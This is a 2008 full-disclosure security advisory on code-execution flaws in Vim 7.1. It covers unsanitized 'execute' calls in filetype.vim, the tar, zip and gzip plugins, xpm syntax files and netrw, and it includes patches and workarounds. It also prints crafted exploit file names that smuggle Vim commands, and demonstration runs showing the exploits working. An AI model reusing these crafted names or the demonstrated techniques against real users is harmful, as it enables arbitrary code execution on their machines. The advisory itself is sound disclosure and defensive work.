<<< Date Index >>>     <<< Thread Index >>>

Collection of Vulnerabilities in Fully Patched Vim 7.1



1. Summary

Product  : Vim -- Vi IMproved
Version  : Tested with 7.1.314 and 6.4
Impact   : Arbitrary code execution
Wherefrom: Local and remote
Original : http://www.rdancer.org/vulnerablevim.html

Improper quoting in some parts of Vim written in the Vim Script can lead to
arbitrary code execution upon opening a crafted file.


2. Overview

``Vim is an almost compatible version of the UNIX editor Vi.  Many new features
have been added: multi-level undo, syntax highlighting, command line history,
on-line help, spell checking, filename completion, block operations, etc.''
        -- VIM 7.1 README.txt

Parts of Vim are written in the Vim script language.  A feature of this
language widely used in the Vim code is the ``execute'' command, an equivalent
of ``eval'' in some other languages.  Throughout Vim, arguments passed to
``execute'' are not sanitized properly.  This can lead to arbitrary code
execution.  We will show several exploits which execute arbitrary code upon
opening a crafted file with the ex(1), vim(1), or view(1) commands.  Only in
few cases will we explore the possibility of remote exploitation.  We will
present fixes/workarounds to some of the vulnerabilities.

The archive with code that is a part of this advisory can be found at
``http://www.rdancer.org/vulnerablevim.tar.bz2''.


3. Details

3.0. Vim version

In this advisory, we analyse Vim version 7.1.298.


3.1. Vim Script in Vim

``The Vim script language is used for the startup vimrc file, syntax files, and
many other things.''
        -- Vim User Manual, Chapter 41 (usr_41.txt)

How much is Vim Script used throughout Vim?

        $ find /usr/local/share/vim -type f -name \*.vim | wc -l
        1037
        $ find /usr/local/share/vim -type f -name \*.vim -exec cat {} \; \
                | wc 2>/dev/null
         149617  710299 6502709



3.2. The ``execute'' command

:exe[cute] {expr1} ..   Executes the string that results from the evaluation
                        of {expr1} as an Ex command.
        -- Vim Reference Manual (eval.txt)

``execute'' is similar e.g. to the ``eval'' command of the POSIX shell.  As Vim
Script doesn't allow variables as arguments to commands, only literals,
``execute'' is very popular:

        let a = "vim"
        execute "setfiletype" a   " Alternative is cumbersome
        let b = "/path/to/foo"
        execute "split" b         " No alternative

Now whereas the setfiletype line can be written as:

        if !did_filetype()
          let &l:filetype = a
        endif

There is no alternative for the split command -- execute must be used.  Which
is a pity, because we might not even necessarily have control over the file
name[1] .  Symlinks or shell redirection might be used as a workaround.


3.3. Quoting in Vim Script

There is no way to quote Ex command arguments transparently.  When sanitizing
an argument for shell's ``eval'' command, one can simply prepend all single
quotes with a backslash, prepend and append a single quote, and that's it.  In
Vim, this algorithm has been recently introduced in the form of the
shellescape() function[2]:

        $ ex
        Entering Ex mode.  Type "visual" to go to Normal mode.
        :let fmt = "%l o'clock"
        :let fmt_escape = shellescape (fmt)
        :echo fmt_escape
        '%l o'\''clock'
        :echo system ("date +" . fmt_escape)
         6 o'clock

Sanitizing an argument of an Ex command in a generic way is not going to be
that easy.


3.3.1. Three Character Classes

Ex commands don't accept strings for arguments, only bare-words.  In other
words, there is just one level of quoting.  It is possible to quote individual
characters by prepending a backslash.  As we can learn in the Vim Reference
Manual (``cmdline.txt'') we can divide the characters in three classes --
characters that are treated specially :

        (1) *unless* preceded by a backslash
        (2) *when* preceded by a backslash
        (3) when preceded by a *quoted* backslash


Example:

        Command      File written
        ------------------------------
        :write %     Current file name
        :write \%    %
        :write \\%   \%

So, now we have to write a piece of code that knows which class the characters
belong to, and quote them accordingly, right?  Not really.

There is a plethora of characters treated in a special way by Vim commands.
Treatment varies with context.  We haven't found a comprehensive description
which characters are treated specially by which commands, in which way.


3.4. Vulnerabilities

3.4.1. Statistics

How many Vim Scripts use ``execute''?:

$ find /usr/local/share/vim -type f -name \*.vim -exec grep -l
'\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l
159

How many ``execute'' statements are there?:

$ find /usr/local/share/vim -type f -name \*.vim -exec grep -h
'\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l
991

Without comments:

$ find /usr/local/share/vim -type f -name \*.vim -exec grep -h
'\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | grep -v '^[[:blank:]]*"' |
wc -l
901


3.4.2. Exploits

All the exploits are created using the accompanying Makefiles in the respective
subdirectories.  When open in vim (or ex, view), the exploits create a file
called ``pwned'' in the current directory.  To create all the exploits in a
certain subdirectory, run ``make all'' in that subdirectory.  See the respective
Makefile sources for details.

It is also possible to use the Makefile in the root directory of this archive.
To test all the exploits, run ``make test''.  On an unpatched system, this
will print a lot of output, and then show a nice table at the end:
        
        $ make test
        <snip>
        -------------------------------------------
        -------- Test results below ---------------
        -------------------------------------------
        filetype.vim
          strong  : VULNERABLE
          weak    : VULNERABLE
        zipplugin : VULNERABLE
        xpm.vim
          xpm     : VULNERABLE
          xpm2    : VULNERABLE
          remote  : VULNERABLE
        gzip_vim  : VULNERABLE
        netrw     : VULNERABLE

Let's approach each vulnerability one by one.  Each vulnerability section can
be read independently of the others, and some of the information is therefore
repeated.


3.4.2.1. filetype.vim (the ``weak'' exploit)

Because this vulnerability requires the exploit file name to contain the
payload, we have called this the ``weak'' exploit.


3.4.2.1.1. Vulnerability

Exploits the execute statements at filetype.vim lines 20, 25 or 31:
    19  au BufNewFile,BufRead
?\+.orig,?\+.bak,?\+.old,?\+.new,?\+.rpmsave,?\+.rpmnew
   *20          \ exe "doau filetypedetect BufRead " . expand("<afile>:r")
    21  au BufNewFile,BufRead *~
    22          \ let s:name = expand("<afile>") |
    23          \ let s:short = substitute(s:name, '\~$', '', '') |
    24          \ if s:name != s:short && s:short != "" |
   *25          \   exe "doau filetypedetect BufRead " . s:short |
    26          \ endif |
    27          \ unlet s:name |
    28          \ unlet s:short
    29  au BufNewFile,BufRead ?\+.in
    30          \ if expand("<afile>:t") != "configure.in" |
   *31          \   exe "doau filetypedetect BufRead " . expand("<afile>:r") |
    32          \ endif

A (modified) file name is used as an argument to the ``execute'' command
without proper quoting.  Crafted file name can be used to execute arbitrary Vim
Shell commands.  Content of the file is not important.


3.4.2.1.2. Exploit

        $ cd filetype.vim
        $ EXPLOIT_FLAVOUR=weak make -s clean sploit
        $ readlink exploit
        sploit/README-|so%~
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim "`readlink exploit`"
        [ Observe the file looks quite normal ]
        $ ls pwned
        pwned


3.4.2.1.3. Fix

We attempted a fix along the lines of:

        let badchars = "\" |%#\n\t!<"
        [...]
        \ exe "doau filetypedetect BufRead " . escape(expand("<afile>:r"), 
badchars)

We were not confident we have identified all the metacharacters that need
quoting, or at least all the characters that must not have been quoted (so we
could quote all the rest).


3.4.2.1.3. Workaround

Comment out affected statements in ``filetype.vim''.

        -- autocommand triggered by filename matching pattern (i.e. having the
           right extension)
        -- possible to create valid syntax
        -- menu.lst won't work in usual locations


3.4.2.2. filetype.vim (the ``strong'' exploit)

Because this vulnerability works with an innocuously looking filename,
we have called this the ``strong'' exploit.


3.4.2.2.1. Vulnerability

Exploits absent sanitization on line 190, followed by the execute statements at
filetype.vim lines 181 or 1267:

The code looks in the first five lines for a statement of the form
``asmsyntax=FOO'', where FOO can contain any characters except Tab and Space.
FOO is then executed, without any sanitization.

   187    let head = " ".getline(1)." ".getline(2)." ".getline(3)." 
".getline(4).
   188          \" ".getline(5)." "
   189    if head =~ '\sasmsyntax=\S\+\s'
  *190      let b:asmsyntax = substitute(head,
'.*\sasmsyntax=\(\S\+\)\s.*','\1', "")
   [... logical flow of the code then jumps to line 181 ...]
  *181    exe "setf " . b:asmsyntax
   [... or line 1267 ...]
 *1267          exe "setf " . b:asmsyntax

In ``filetype.vim'', there are twelve other (non-exploitable) occurrences of
the ``exe "setf " .  some_variable'' idiom:

        $ grep '"setf ' filetype.vim
                \   exe "setf " . g:filetype_asa |
                \   exe "setf " . g:filetype_asp |
          exe "setf " . b:asmsyntax
            exe "setf " . a:alt
                \   exe "setf " . g:filetype_prg |
            exe "setf " . g:filetype_m
            exe "setf " . g:filetype_pl
            exe "setf " . g:filetype_inc
                exe "setf " . b:asmsyntax
            exe "setf " . g:filetype_w
            exe "setf " . g:filetype_i
            exe "setf " . g:filetype_p
          exe "setf " . a:name
            exe "setf " . g:filetype_sql


3.4.2.2.2. Exploit

        $ cd filetype.vim
        $ EXPLOIT_FLAVOUR=strong make -s clean sploit
        $ readlink exploit
        sploit/menu.lst
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim "`readlink exploit`"
        [ Observe the file is an ordinary menu.lst -- or is it ]
        $ ls pwned
        pwned

The exploit is a valid grub menu.lst, and also a valid Vim Script file.  When
open in Vim (view, ex), the payload is hidden.  The exploit will not work when
placed in ``/boot/grub''.  This is because ``filetype.vim'' treats
``/boot/grub/menu.lst'' specially (``filetype.vim'' line 154).


3.4.2.2.3. Remote exploit

We had to alter the payload, because (1) we can't source the remote file
directly, and (2) the payload is executed twice.  The payload is written to a
temporary file, which is then sourced.

        $ cd filetype.vim
        $ make -s clean sploit-remote http-server
        $ fuser -n tcp 31337/tcp
        31337/tcp:           20190
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim http://localhost:31337/"`readlink exploit`"
        [ Edit, enjoy, quit ]
        $ ls pwned
        pwned

``make test-remote'' and ``make demo-remote'' automate the process.


3.4.2.2.4. Fix

Apply the following patch:

--- /usr/local/share/vim/vim71/filetype.vim     2007-07-20 19:32:34.000000000 
+0100
+++ filetype.vim        2007-08-05 23:01:49.000000000 +0100
@@ -178,16 +178,19 @@
     endif
   endif

-  exe "setf " . b:asmsyntax
+  if !did_filetype()
+    let &l:filetype = b:asmsyntax
+  endif
 endfunc

 func! s:FTasmsyntax()
+  let l:badchars = "/\\*?[|<> \t"
   " see if file contains any asmsyntax=foo overrides. If so, change
   " b:asmsyntax appropriately
   let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4).
        \" ".getline(5)." "
-  if head =~ '\sasmsyntax=\S\+\s'
-    let b:asmsyntax = substitute(head, '.*\sasmsyntax=\(\S\+\)\s.*','\1', "")
+  if head =~ '\sasmsyntax=[^'.l:badchars.']\+\s'
+    let b:asmsyntax = substitute(head,
'.*\sasmsyntax=\([^'.l:badchars.']\+\)\s.*','\1', "")
   elseif ((head =~? '\.title') || (head =~? '\.ident') || (head =~?
'\.macro') || (head =~? '\.subtitle') || (head =~? '\.library'))
     let b:asmsyntax = "vmasm"
   endif
@@ -1264,7 +1267,9 @@
     else
       call s:FTasmsyntax()
       if exists("b:asmsyntax")
-       exe "setf " . b:asmsyntax
+       if !did_filetype()
+         let &l:filetype = b:asmsyntax
+       endif
       else
        setf pov
       endif

The if-clause is equivalent to ``setfiletype b:asmsyntax'' (if that were valid
syntax) -- cf. ``:help setfiletype''.

The sanitization added is based on Vim Reference Manual options.txt, which says
about the 'syntax' option: ``Only normal file name characters can be used,
"/\*?[|<>" are illegal.''  It is possible that there are systems on which a
stricter check is required.  A check against a fixed list of possible values
would be nice, but what if there are user-defined syntax files? -- Could we get
a list of valid values for an option somehow (portably)?


3.4.2.3. tar.vim

 ``When one edits a *.tar file, this plugin will handle displaying a
   contents page.  Select a file to edit by moving the cursor atop
   the desired file, then hit the <return> key.  After editing, one may
   also write to the file.  Currently, one may not make a new file in
   tar archives via the plugin.''

        -- Vim online help (``pi_tar.txt'')


3.4.2.3.1. Vulnerability

File name is used in ``execute'' and ``system()'' commands without proper
sanitization.  Opening a tarball with a crafted file name can lead to arbitrary
code execution.  Following are some of the vulnerable statements of
``tar.vim''.  This list is probably incomplete:

    99    exe "$put ='".'\"'." Browsing tarfile ".a:tarfile."'"
   107     let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')
   112     exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."|
".g:tar_cmd." -".g:tar_browseoptions." - "
   115     exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."|
".g:tar_cmd." -".g:tar_browseoptions." - "
   118     exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions."
".g:tar_shq.tarfile.g:tar_shq
   134     exe "r ".a:tarfile
   169     let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')
   192     let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')
   199     exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."|
".g:tar_cmd." -".g:tar_readoptions." - '".fname."'"
   202     exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."|
".g:tar_cmd." -".g:tar_readoptions." - '".fname."'"
   205     exe "silent r! ".g:tar_cmd." -".g:tar_readoptions."
".g:tar_shq.tarfile.g:tar_shq." ".g:tar_shq.fname.g:tar_shq
   208    exe "file tarfile:".fname
   278     call system("gzip -d ".tarfile)
   282     call system("gzip -d ".tarfile)
   287     call system("bzip2 -d ".tarfile)
   303       let dirpath = substitute(system("cygpath ".dirpath),'\n','','e')
   312     exe "w! ".fname
   314      let tarfile = substitute(system("cygpath ".tarfile),'\n','','e')
   319     call system("tar --delete -f '".tarfile."' '".fname."'")
   335       call system(compress)
   351      exe "e! ".tarfile

All the arguments in these statements are derived from the tarball file name,
with insufficient or absent sanitization.


3.4.2.3.2. Exploit

We exploit the statement on the line 99, with a crafted file name.  The tarball
gets sourced.  The tarball is also a valid Vim Script file.  Its contents is
arbitrary, as long as the exploit payload is the first archive member.

        $ cd tarplugin
        $ make -s clean sploit
        $ readlink exploit
        sploit/foo'|so%|retu|'bar.tar
        $ file -L exploit
        sploit/foo'|so%|retu|'bar.tar: POSIX tar archive
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim "`readlink exploit`"
        [ Observe the file works like an ordinary tarball would ]
        $ ls pwned
        pwned

For your convenience, running running ``make demo'' and ``make test'' in the
tarplugin directory will do all the hard work in an interactive, and
non-interactive way, respectively, and tell you whether the exploit has worked.


3.4.2.3.3. Fix

The exploit includes a modified ``tar.vim'' and ``tarPlugin.vim'', fixed as
much as was needed for the exploit to work.


3.4.2.4. zip.vim

 ``When one edits a *.zip file, this plugin will handle displaying a
   contents page.  Select a file to edit by moving the cursor atop
   the desired file, then hit the <return> key.  After editing, one may
   also write to the file.  Currently, one may not make a new file in
   zip archives via the plugin.''

        -- Vim online help (``pi_zip.txt'')

``tar.vim'' and ``zip.vim'' share code and vulnerabilities, and our exploit
works in a similar manner.  This exploit is not full-featured -- as we've shown
with ``tar.vim'', this wouldn't be difficult to achieve.


3.4.2.4.1. Vulnerability

As with ``tar.vim'', there are many execute statements using an insufficiently
quoted file name as an argument.  We exploit the same statement as with
``tar.vim'' (line 93):

   93   exe "$put ='".'\"'." Browsing zipfile ".a:zipfile."'"


3.4.2.4.2. Exploit

Our exploit is not feature-full -- we can open the file and see the contents
listing, but an attempt to open a member, etc., will fail with an error.
Completing the exploit would be just a matter of adapting from our ``tar.vim''
exploit.

        $ cd zipplugin
        $ make -s clean sploit
        $ readlink exploit
        sploit/foo'|so%|retu|'bar.zip
        $ file -L exploit
        sploit/foo'|so%|retu|'bar.zip: Zip archive data, at least v1.0 to 
extract
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim "`readlink exploit`"
        Error detected while processing
/home/rdancer/vuln/vim71/zipplugin/sploit/foo'|so%|retu|'bar.zip:
        line    1:
        E492: Not an editor command: PK^C^D
        [ Observe the file works like an ordinary tarball would ]
        $ ls pwned
        pwned

The error is caused by the zip file magic number.  It doesn't stay on the
screen for too long though.  We could get rid of the error by replacing the
very first character of the file (the capital P) with a double quote ("), at
the cost of creating a non-valid zip file.  Set the environment variable
EXPLOIT_ZIP_INVALID to ``invalid'' while running ``make sploit'':
        
        $ EXPLOIT_ZIP_INVALID=invalid make sploit

unzip(1) doesn't have a problem working with such file, and neither does Vim.

For your convenience, running ``make demo'' and ``make test'' in the zipplugin
directory will do all the hard work in an interactive, and non-interactive way,
respectively, and tell you whether the exploit has worked.


3.4.2.4.3. Fix

The exploit includes a modified ``zip.vim'' and ``zipPlugin.vim'', fixed as
much as was needed for the exploit to work.


3.4.2.5. xpm.vim and xpm2.vim

``xpm.vim'' and ``xmp2.vim'' provide syntax highlighting for X pixmaps.  The
syntax file is loaded for filenames matching *.pm, *.xpm and *.xpm2 (see
``filetype.vim'' for details).  The vulnerable code is executed when Vim runs
in graphic mode (gvim(1), ``vim -g'').


3.4.2.5.1. Vulnerability

We exploit the insufficient sanitization and subsequent execution of a string
taken from the file contents:

        xpm.vim:32         let s = matchstr(getline(i), '".\{-1,}"')
        xpm.vim:[...]
        xpm.vim:43               exe 'syn match xpmValues /'.s.'/'
        
        xmp2.vim:41         let s = getline(i)
        xmp2.vim:42         if match(s,"\!.*$") != -1
        xmp2.vim:43           let s = matchstr(s, "^[^\!]*")
        xmp2.vim:[...]
        xmp2.vim:55         exe 'syn match xpm2Values /'.s.'/'

This might be or might not be the only such vulnerability within ``xpm.vim''
and ``xpm2.vim''.


3.4.2.5.2. Exploit

Note that Vim must be run in graphic mode for the exploit to work, as the
vulnerable code branch is not run otherwise.  The exploit for ``xpm.vim'' is a
valid X pixmap.  The exploit for `xpm2.vim'' is not.

        $ cd xpm.vim
        $ make -s clean sploit
        $ readlink exploit
        sploit/exploit.xpm
        $ file -L exploit
        exploit: X pixmap image text
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim -g "`readlink exploit`"
        [ Edit, enjoy, quit ]
        $ ls pwned
        pwned

For your convenience, running ``make demo'' and ``make test'' in the xpm.vim
directory will do all the hard work in an interactive, and non-interactive way,
respectively, and tell you whether the exploit has worked.

For the ``xpm2.vim'' exploit, set the ``EXPLOIT_FLAVOUR'' environment
variable to ``xpm2'' when running ``make sploit'':

        $ EXPLOIT_FLAVOUR=xpm2 make -s clean sploit

You may also use ``make all'' to make all the extensions.

3.4.2.5.3. Remote exploit

In order to exploit remotely, we have had to change our exploitation technique.
``source %'' doesn't work, as it's apparently not possible to source a http://
file from within the ``xpm.vim'' script.  Without investigating further, we
altered the ``xpm.vim'' exploit.  Adapting the ``xpm2.vim'' exploit and the
other exploits probably is possible.

        $ cd xpm.vim
        $ make -s clean sploit http-server
        $ fuser -n tcp 31337/tcp
        31337/tcp:           20190
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim -g http://localhost:31337/"`readlink exploit`"
        [ Edit, enjoy, quit ]
        $ ls pwned
        pwned

For your convenience, running ``make demo-remote'' and ``make test-remote'' in
the xpm.vim directory will do all the hard work in an interactive, and
non-interactive way, respectively, and tell you whether the exploit has worked.


3.4.2.6. gzip.vim

``The plugin installs autocommands to intercept reading and writing of files
with these extensions: [...] *.Z [...]  *.gz [...] *.bz2''

        -- Vim Reference Manual (pi_gzip.txt)

3.4.2.6.1. Vulnerability

``autoload/gzip.vim'' lines 128 and 130 use modified file name in an argument
to ``execute'' without proper sanitization or quoting:

   127      if &verbose >= 8
  *128        execute "doau BufReadPost " . expand("%:r")
   129      else
  *130        execute "silent! doau BufReadPost " . expand("%:r")
   131      endif


3.4.2.6.2. Exploit

The contents of the file is arbitrary.  The exploit uses the archive filename,
and the original filename stored within the archive (we should use the comment
field ideally).  The exploit is a valid gzip file, and a Vim Script containing
non-fatal errors.  We use the ``silent!'' command in the file name to suppress
the error messages.

        $ cd gzip_vim
        $ make -s clean sploit
        $ readlink exploit
        sploit/foo|sil!so%"bar.gz
        $ file -L exploit
        exploit: gzip compressed data, was "", from Unix, last modified: Fri
Aug 10 01:49:28 2007
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim "`readlink exploit`"
        [ The file contents really can be anything ]
        $ ls pwned
        pwned

For your convenience, running ``make demo'' and ``make test'' in the gzip_vim
directory will do all the hard work in an interactive, and non-interactive way,
respectively, and tell you whether the exploit has worked.


3.4.2.7. Netrw

``Netrw makes reading, writing, and browsing over a network connection easy!
[...] Netrw supports "transparent" editing of files on other machines using
urls [...]''

        -- Netrw Reference Manual (pi_netrw.txt)


3.4.2.7.1. Vulnerability

Opening file with a crafted name from the Netrw directory listing leads to
arbitrary code execution.

Netrw (.../runtime/autoload/netrw.vim) uses unsound constructs in many places
-- see the source in We exploit the statement on line 2202.  The ``dirname''
variable contains the name of the file to be opened, while
``s:netrw_cd_escape'' is set earlier on line 308.:

   308    let s:netrw_cd_escape="[]#*$%'\" ?`!&();<>\\"
 [...]
 *2202       exe "e! ".escape(dirname,s:netrw_cd_escape)

The escape() fails in its apparent purpose of sanitizing ``dirname'', because
``s:netrw_cd_escape'' is incomplete.


3.4.2.7.2. Exploit

        $ cd netrw
        $ make -s clean sploit
        $ readlink exploit | cat -vT
        ./sploit/pi_netrw.txt^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I|ne
        w|norm^Ii:q^Vx21^[o:so^Vx25^Vx2a^[ggyG@0
        $ ls pwned
        ls: cannot access pwned: No such file or directory
        $ vim "`dirname "\`readlink exploit\`"`"
        [ Place cursor on ``pi_netrw.txt''.  Press <Return>, 'P' or 'o']
        [ Observe that the file looks more or less normal ]
        $ ls pwned
        pwned

For your convenience, running ``make demo'' and ``make test'' in the netrw
directory will do all the hard work in an interactive, and non-interactive way,
respectively, and tell you whether the exploit has worked.

For details on the exploit construction, see the file ``exploit_name''.

Note: ``make test'' may hang when run from within vim.


3.4.3. Documentation

We have not seen the insecure properties of ``execute'' mentioned in Vim
documentation.  To the contrary, ``execute'' is being used without precautions
throughout.  For example, in ``eval.txt'', a file name is passed to ``execute''
insecurely:

  7238         :function! Write(file)
  7239         :  try
 *7240         :    execute "write" a:file


4. Footnotes

[1] Really a URL -- local file path without a scheme is a special case; we
haven't explored remote issues, but they might be interesting.

[2] shellescape() was introduced in patch 7.0.111, and is not used at all as
of version 7.1.298.  Naive quoting is in being used instead, throughout the
code.  A typical example from the ``netrwFileHandlers.vim'' file:

    *99    exe "!mozilla ".g:netrw_shq.page.g:netrw_shq

``g:netrw_shq'' being the shell quoting character of choice, a single or a
double quote.


5. Copyright

This advisory is Copyright 2008 Jan Minar <rdancer@xxxxxxxxxxx>

Copying welcome, under the Creative Commons ``Attribution-Share Alike'' License
http://creativecommons.org/licenses/by-sa/2.0/uk/

Code included herein, and accompanying this advisory, may be copied according to
the GNU General Public License version 2, or the Vim license.  See the
subdirectory ``licenses''.

Various portions of the accompanying code were written by various parties.
Those parties may hold copyright, and those portions may be copied according
to the respective licenses.


6. History

2008-05-13 Sent to bugs@xxxxxxx, announcing intent to release publicly
           by 2008-06-13
2008-05-14 Reply from Vim maintainer
2008-06-13 Sent to: <full-disclosure@xxxxxxxxxxxxxxxxx>,
           <bugtraq@xxxxxxxxxxxxxxxxx>, <vim_dev@xxxxxxxxxxxxxxxx>
           Copy to: <bugs@xxxxxxx>